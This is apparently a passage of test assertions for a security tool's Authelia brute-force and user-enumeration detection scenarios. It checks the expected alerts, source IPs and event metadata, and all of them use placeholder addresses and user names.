results[0].Overflow.Alert.Events[4].GetMeta("user") == "fakeuser5@example.com" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_json_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "5.5.5.6" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[0].Overflow.Alert.Events[5].GetMeta("user") == "fakeuser6@example.com" results[0].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf_user-enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "5.5.5.5" in results[1].Overflow.GetSources() results[1].Overflow.Sources["5.5.5.5"].IP == "5.5.5.5" results[1].Overflow.Sources["5.5.5.5"].Range == "" results[1].Overflow.Sources["5.5.5.5"].GetScope() == "Ip" results[1].Overflow.Sources["5.5.5.5"].GetValue() == "5.5.5.5" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_json_auth" results[1].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "5.5.5.5" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[1].Overflow.Alert.Events[0].GetMeta("user") == "fakeuser1" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_json_auth" results[1].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "5.5.5.5" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[1].Overflow.Alert.Events[1].GetMeta("user") == "fakeuser2" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_json_auth" results[1].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "5.5.5.5" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[1].Overflow.Alert.Events[2].GetMeta("user") == "fakeuser3" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_json_auth" results[1].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "5.5.5.5" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[1].Overflow.Alert.Events[3].GetMeta("user") == "fakeuser4" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_json_auth" results[1].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "5.5.5.5" results[1].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[1].Overflow.Alert.Events[4].GetMeta("user") == "fakeuser5" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_json_auth" results[1].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "5.5.5.5" results[1].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[1].Overflow.Alert.Events[5].GetMeta("user") == "fakeuser6" results[1].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf_user-enum" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6 "1.1.1.2" in results[2].Overflow.GetSources() results[2].Overflow.Sources["1.1.1.2"].IP == "1.1.1.2" results[2].Overflow.Sources["1.1.1.2"].Range == "" results[2].Overflow.Sources["1.1.1.2"].GetScope() == "Ip" results[2].Overflow.Sources["1.1.1.2"].GetValue() == "1.1.1.2" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_clf_auth" results[2].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.2" results[2].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[2].Overflow.Alert.Events[0].GetMeta("user") == "fakeuser1@example.com" results[2].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[2].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_clf_auth" results[2].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[2].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.2" results[2].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[2].Overflow.Alert.Events[1].GetMeta("user") == "fakeuser2@example.com" results[2].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[2].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_clf_auth" results[2].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[2].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.2" results[2].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[2].Overflow.Alert.Events[2].GetMeta("user") == "fakeuser3@example.com" results[2].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[2].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_clf_auth" results[2].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[2].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.2" results[2].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[2].Overflow.Alert.Events[3].GetMeta("user") == "fakeuser4@example.com" results[2].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[2].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_clf_auth" results[2].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[2].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.2" results[2].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[2].Overflow.Alert.Events[4].GetMeta("user") == "fakeuser5@example.com" results[2].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[2].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_clf_auth" results[2].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[2].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.2" results[2].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[2].Overflow.Alert.Events[5].GetMeta("user") == "fakeuser6@example.com" results[2].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf_user-enum" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 6 "1.1.1.1" in results[3].Overflow.GetSources() results[3].Overflow.Sources["1.1.1.1"].IP == "1.1.1.1" results[3].Overflow.Sources["1.1.1.1"].Range == "" results[3].Overflow.Sources["1.1.1.1"].GetScope() == "Ip" results[3].Overflow.Sources["1.1.1.1"].GetValue() == "1.1.1.1" results[3].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[3].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_clf_auth" results[3].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[3].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.1" results[3].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[3].Overflow.Alert.Events[0].GetMeta("user") == "fakeuser1" results[3].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[3].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_clf_auth" results[3].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[3].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.1" results[3].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[3].Overflow.Alert.Events[1].GetMeta("user") == "fakeuser2" results[3].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[3].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_clf_auth" results[3].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[3].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.1" results[3].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[3].Overflow.Alert.Events[2].GetMeta("user") == "fakeuser3" results[3].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[3].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_clf_auth" results[3].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[3].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.1" results[3].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[3].Overflow.Alert.Events[3].GetMeta("user") == "fakeuser4" results[3].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[3].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_clf_auth" results[3].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[3].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.1" results[3].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[3].Overflow.Alert.Events[4].GetMeta("user") == "fakeuser5" results[3].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[3].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_clf_auth" results[3].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[3].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.1" results[3].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[3].Overflow.Alert.Events[5].GetMeta("user") == "fakeuser6" results[3].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf_user-enum" results[3].Overflow.Alert.Remediation == true results[3].Overflow.Alert.GetEventsCount() == 6 "8.8.8.9" in results[4].Overflow.GetSources() results[4].Overflow.Sources["8.8.8.9"].IP == "8.8.8.9" results[4].Overflow.Sources["8.8.8.9"].Range == "" results[4].Overflow.Sources["8.8.8.9"].GetScope() == "Ip" results[4].Overflow.Sources["8.8.8.9"].GetValue() == "8.8.8.9" results[4].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[4].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_json_auth" results[4].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[4].Overflow.Alert.Events[0].GetMeta("source_ip") == "8.8.8.9" results[4].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T12:32:54+02:00" results[4].Overflow.Alert.Events[0].GetMeta("user") == "realuser@example.com" results[4].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[4].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_json_auth" results[4].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[4].Overflow.Alert.Events[1].GetMeta("source_ip") == "8.8.8.9" results[4].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T12:32:54+02:00" results[4].Overflow.Alert.Events[1].GetMeta("user") == "realuser@example.com" results[4].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[4].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_json_auth" results[4].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[4].Overflow.Alert.Events[2].GetMeta("source_ip") == "8.8.8.9" results[4].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T12:32:54+02:00" results[4].Overflow.Alert.Events[2].GetMeta("user") == "realuser@example.com" results[4].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[4].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_json_auth" results[4].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[4].Overflow.Alert.Events[3].GetMeta("source_ip") == "8.8.8.9" results[4].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T12:32:54+02:00" results[4].Overflow.Alert.Events[3].GetMeta("user") == "realuser@example.com" results[4].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[4].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_json_auth" results[4].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[4].Overflow.Alert.Events[4].GetMeta("source_ip") == "8.8.8.9" results[4].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T12:32:54+02:00" results[4].Overflow.Alert.Events[4].GetMeta("user") == "realuser@example.com" results[4].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[4].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_json_auth" results[4].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[4].Overflow.Alert.Events[5].GetMeta("source_ip") == "8.8.8.9" results[4].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T12:32:54+02:00" results[4].Overflow.Alert.Events[5].GetMeta("user") == "realuser@example.com" results[4].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[4].Overflow.Alert.Remediation == true results[4].Overflow.Alert.GetEventsCount() == 6 "8.8.8.8" in results[5].Overflow.GetSources() results[5].Overflow.Sources["8.8.8.8"].IP == "8.8.8.8" results[5].Overflow.Sources["8.8.8.8"].Range == "" results[5].Overflow.Sources["8.8.8.8"].GetScope() == "Ip" results[5].Overflow.Sources["8.8.8.8"].GetValue() == "8.8.8.8" results[5].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[5].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_json_auth" results[5].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[5].Overflow.Alert.Events[0].GetMeta("source_ip") == "8.8.8.8" results[5].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T12:32:54+02:00" results[5].Overflow.Alert.Events[0].GetMeta("user") == "realuser" results[5].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[5].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_json_auth" results[5].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[5].Overflow.Alert.Events[1].GetMeta("source_ip") == "8.8.8.8" results[5].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T12:32:54+02:00" results[5].Overflow.Alert.Events[1].GetMeta("user") == "realuser" results[5].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[5].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_json_auth" results[5].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[5].Overflow.Alert.Events[2].GetMeta("source_ip") == "8.8.8.8" results[5].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T12:32:54+02:00" results[5].Overflow.Alert.Events[2].GetMeta("user") == "realuser" results[5].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[5].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_json_auth" results[5].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[5].Overflow.Alert.Events[3].GetMeta("source_ip") == "8.8.8.8" results[5].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T12:32:54+02:00" results[5].Overflow.Alert.Events[3].GetMeta("user") == "realuser" results[5].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[5].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_json_auth" results[5].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[5].Overflow.Alert.Events[4].GetMeta("source_ip") == "8.8.8.8" results[5].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T12:32:54+02:00" results[5].Overflow.Alert.Events[4].GetMeta("user") == "realuser" results[5].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[5].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_json_auth" results[5].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[5].Overflow.Alert.Events[5].GetMeta("source_ip") == "8.8.8.8" results[5].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T12:32:54+02:00" results[5].Overflow.Alert.Events[5].GetMeta("user") == "realuser" results[5].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[5].Overflow.Alert.Remediation == true results[5].Overflow.Alert.GetEventsCount() == 6 "7.7.7.8" in results[6].Overflow.GetSources() results[6].Overflow.Sources["7.7.7.8"].IP == "7.7.7.8" results[6].Overflow.Sources["7.7.7.8"].Range == "" results[6].Overflow.Sources["7.7.7.8"].GetScope() == "Ip" results[6].Overflow.Sources["7.7.7.8"].GetValue() == "7.7.7.8" results[6].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[6].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[6].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_json_auth" results[6].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[6].Overflow.Alert.Events[0].GetMeta("source_ip") == "7.7.7.8" results[6].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T12:32:13+02:00" results[6].Overflow.Alert.Events[0].GetMeta("user") == "realuser@example.com" results[6].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[6].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[6].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_json_auth" results[6].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[6].Overflow.Alert.Events[1].GetMeta("source_ip") == "7.7.7.8" results[6].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T12:32:13+02:00" results[6].Overflow.Alert.Events[1].GetMeta("user") == "realuser@example.com" results[6].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[6].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[6].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_json_auth" results[6].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[6].Overflow.Alert.Events[2].GetMeta("source_ip") == "7.7.7.8" results[6].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T12:32:13+02:00" results[6].Overflow.Alert.Events[2].GetMeta("user") == "realuser@example.com" results[6].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[6].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[6].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_json_auth" results[6].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[6].Overflow.Alert.Events[3].GetMeta("source_ip") == "7.7.7.8" results[6].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T12:32:13+02:00" results[6].Overflow.Alert.Events[3].GetMeta("user") == "realuser@example.com" results[6].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[6].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[6].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_json_auth" results[6].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[6].Overflow.Alert.Events[4].GetMeta("source_ip") == "7.7.7.8" results[6].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T12:32:13+02:00" results[6].Overflow.Alert.Events[4].GetMeta("user") == "realuser@example.com" results[6].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[6].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[6].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_json_auth" results[6].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[6].Overflow.Alert.Events[5].GetMeta("source_ip") == "7.7.7.8" results[6].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T12:32:13+02:00" results[6].Overflow.Alert.Events[5].GetMeta("user") == "realuser@example.com" results[6].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[6].Overflow.Alert.Remediation == true results[6].Overflow.Alert.GetEventsCount() == 6 "7.7.7.7" in results[7].Overflow.GetSources() results[7].Overflow.Sources["7.7.7.7"].IP == "7.7.7.7" results[7].Overflow.Sources["7.7.7.7"].Range == "" results[7].Overflow.Sources["7.7.7.7"].GetScope() == "Ip" results[7].Overflow.Sources["7.7.7.7"].GetValue() == "7.7.7.7" results[7].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[7].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[7].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_json_auth" results[7].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[7].Overflow.Alert.Events[0].GetMeta("source_ip") == "7.7.7.7" results[7].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T12:32:13+02:00" results[7].Overflow.Alert.Events[0].GetMeta("user") == "realuser" results[7].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[7].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[7].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_json_auth" results[7].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[7].Overflow.Alert.Events[1].GetMeta("source_ip") == "7.7.7.7" results[7].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T12:32:13+02:00" results[7].Overflow.Alert.Events[1].GetMeta("user") == "realuser" results[7].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[7].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[7].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_json_auth" results[7].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[7].Overflow.Alert.Events[2].GetMeta("source_ip") == "7.7.7.7" results[7].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T12:32:13+02:00" results[7].Overflow.Alert.Events[2].GetMeta("user") == "realuser" results[7].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[7].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[7].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_json_auth" results[7].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[7].Overflow.Alert.Events[3].GetMeta("source_ip") == "7.7.7.7" results[7].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T12:32:13+02:00" results[7].Overflow.Alert.Events[3].GetMeta("user") == "realuser" results[7].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[7].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[7].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_json_auth" results[7].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[7].Overflow.Alert.Events[4].GetMeta("source_ip") == "7.7.7.7" results[7].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T12:32:13+02:00" results[7].Overflow.Alert.Events[4].GetMeta("user") == "realuser" results[7].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[7].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[7].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_json_auth" results[7].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[7].Overflow.Alert.Events[5].GetMeta("source_ip") == "7.7.7.7" results[7].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T12:32:13+02:00" results[7].Overflow.Alert.Events[5].GetMeta("user") == "realuser" results[7].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[7].Overflow.Alert.Remediation == true results[7].Overflow.Alert.GetEventsCount() == 6 "6.6.6.7" in results[8].Overflow.GetSources() results[8].Overflow.Sources["6.6.6.7"].IP == "6.6.6.7" results[8].Overflow.Sources["6.6.6.7"].Range == "" results[8].Overflow.Sources["6.6.6.7"].GetScope() == "Ip" results[8].Overflow.Sources["6.6.6.7"].GetValue() == "6.6.6.7" results[8].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[8].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[8].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_json_auth" results[8].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[8].Overflow.Alert.Events[0].GetMeta("source_ip") == "6.6.6.7" results[8].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T12:31:58+02:00" results[8].Overflow.Alert.Events[0].GetMeta("user") == "realuser@example.com" results[8].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[8].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[8].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_json_auth" results[8].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[8].Overflow.Alert.Events[1].GetMeta("source_ip") == "6.6.6.7" results[8].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T12:31:58+02:00" results[8].Overflow.Alert.Events[1].GetMeta("user") == "realuser@example.com" results[8].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[8].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[8].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_json_auth" results[8].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[8].Overflow.Alert.Events[2].GetMeta("source_ip") == "6.6.6.7" results[8].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T12:31:58+02:00" results[8].Overflow.Alert.Events[2].GetMeta("user") == "realuser@example.com" results[8].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[8].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[8].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_json_auth" results[8].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[8].Overflow.Alert.Events[3].GetMeta("source_ip") == "6.6.6.7" results[8].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T12:31:58+02:00" results[8].Overflow.Alert.Events[3].GetMeta("user") == "realuser@example.com" results[8].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[8].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[8].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_json_auth" results[8].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[8].Overflow.Alert.Events[4].GetMeta("source_ip") == "6.6.6.7" results[8].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T12:31:58+02:00" results[8].Overflow.Alert.Events[4].GetMeta("user") == "realuser@example.com" results[8].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" 